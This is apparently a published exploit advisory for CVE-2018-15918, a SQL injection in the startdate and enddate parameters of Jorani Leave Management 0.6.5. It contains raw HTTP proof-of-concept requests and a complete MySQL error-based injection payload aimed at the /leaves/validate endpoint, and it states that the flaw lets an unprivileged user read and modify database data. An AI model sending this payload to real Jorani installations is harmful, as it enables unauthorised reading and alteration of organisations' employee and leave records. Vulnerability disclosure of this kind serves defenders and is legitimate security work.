# Exploit Title: Jorani Leave Management 0.6.5 a 'startdate' SQL Injection # Exploit Author: Javier Olmedo # Website: https://hackpuntes.com # Date: 2018-09-06 # Google Dork: N/A # Vendor: Benjamin BALET # Software Link: https://jorani.org/download.html # Affected Version: 0.6.5 and possibly before # Patched Version: unpatched # Category: Web Application # Platform: Windows # Tested on: Win10x64 & Kali Linux # CVE: 2018-15918 # Reference: # https://hackpuntes.com/cve-2018-15918-jorani-leave-management-system-0-6-5-sql-injection/ # https://github.com/bbalet/jorani/issues/254 # 1. Technical Description: # Jorani Leave Management System 0.6.5 and possibly before are affected by SQL Injection in startdate # and enddate parameters through POST request in "/leaves/validate" resource. # This allows a user of the application without permissions to read and modify sensitive information from # the database used by the application. # 2. Proof Of Concept (PoC): # 2.1 The following POST request generates an error 500 in the Application (add ' in startdate parameter) --- POST /leaves/validate HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0 Accept: */* Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://localhost/leaves/create Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 167 Cookie: csrf_cookie_jorani=521d82ffceaee171d5ff3c5c817c3dfd; jorani_session=r8ofjpch4g93t6563t7ols6fBkeeommo; Connection: close csrf_cookie_jorani=521d82ffceaee171d5ff3c5c817c3dfd&id=1&type=compensate&startdate=2018-08-02'&enddate=2018-08-03 &startdatetype=Morning&enddatetype=Afternoon&leave_id= --- # 2.2 In another request, add two ' to receive a code 200 OK --- POST /leaves/validate HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0 Accept: */* Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://localhost/leaves/create Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 167 Cookie: csrf_cookie_jorani=521d82ffceaee171d5ff3c5c817c3dfd; jorani_session=r8ofjpch4g93t6563t7ols6fBkeeommo; Connection: close csrf_cookie_jorani=521d82ffceaee171d5ff3c5c817c3dfd&id=1&type=compensate&startdate=2018-08-02''&enddate=2018-08-03 &startdatetype=Morning&enddatetype=Afternoon&leave_id= --- # 3. Payload: # Parameters: startdate and enddate (POST) # Type: error-based # Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) # Payload: id=1&type=compensate&startdate=2018-08-02&enddate=2018-08-03') AND (SELECT 2138 FROM (SELECT COUNT(*),CONCAT(0x7178787071, (SELECT (ELT(2138=2138,1))),0x716b716271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND ('WfLI'='WfLI&startdatetype=Morning&enddatetype=Afternoon&leave_id=